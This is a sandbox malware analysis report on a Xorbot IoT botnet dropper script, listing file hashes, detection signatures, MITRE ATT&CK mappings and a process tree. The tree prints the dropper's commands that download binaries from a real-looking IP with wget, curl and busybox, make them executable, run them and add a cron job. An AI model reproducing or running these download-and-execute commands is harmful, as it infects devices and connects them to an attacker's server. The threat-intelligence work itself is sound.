xorbot | 5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e

Analysis

max time kernel
125s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 00:27

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General

Target

bins.sh
Size

10KB
MD5

a143188f8eb4f1ec65578ca97c3910b9
SHA1

25f0c491fd127130f5131ca32c4439e10d74109c
SHA256

5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e
SHA512

d76964706ecd5338d050d14dbfa2df3499bb795de50494cdb7ad835648403aae57db6edfb5998e0c68ec88a0c390ab6acb73dbb16979432ce1cddaaff8eacf29
SSDEEP

96:1kdkNkBCkDknk/QHdAI+eIMlG+CDc8eoIXaW6d4AIIyJIMHQiG+CDc8zGoIXaW8C:ExQHdAleIMlNoIXaW6jqIMnoIXaW4yt

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2131) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
673	chmod
681	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	674	bins.sh
/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	682	bins.sh

Renames itself 1 IoCs

pid	Process
683	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.MMw3BZ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/135/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/729/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/755/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/819/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/892/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/909/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/935/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/20/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/741/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/866/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/920/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/946/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/949/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/23/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/927/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/929/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/978/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/137/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/697/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/712/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/765/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/839/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/690/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/694/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/901/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/943/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/945/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/948/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/962/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/109/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/633/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/770/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/822/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/906/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/967/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/8/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/11/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/270/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/643/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/776/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/916/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/965/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/2/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/689/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/695/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/747/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/794/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/76/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/296/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/718/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/811/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/821/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/833/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/869/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/870/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/16/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/17/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/704/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/731/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/882/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/895/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/896/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/971/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/743/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	curl
File opened for modification	/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	busybox
File opened for modification	/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	wget
File opened for modification	/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	curl
File opened for modification	/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	busybox
File opened for modification	/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:640
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:642
- /usr/bin/wget
  wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - Writes file to tmp directory
  PID:648
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:661
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - Writes file to tmp directory
  PID:670
- /bin/chmod
  chmod 777 jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  ./jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  PID:674
- /bin/rm
  rm jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  PID:676
- /usr/bin/wget
  wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Writes file to tmp directory
  PID:677
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:679
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod 777 Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  ./Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:682
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:684
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:685
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:686
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:687
- /bin/rm
  rm Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  PID:690
- /usr/bin/wget
  wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  PID:694

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.MMw3BZ

Filesize
210B

MD5
970141ee38dd1ad0e2c4763278c00096

SHA1
e6dada15dc2978efe2538d03fbef682ec5513fde

SHA256
7f6245ac5d0ba3adf818c9c18e60ede0e84c3ca4387018b071a65599a88d1e00

SHA512
1b8a10c90fc6e3b4184a0e710b2df4ed47fe17f896e0d7cb2754fdeba76944236ed911158c6af8531e85f19ec755ea808a54503e11f6389f410d61eb434eb291

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads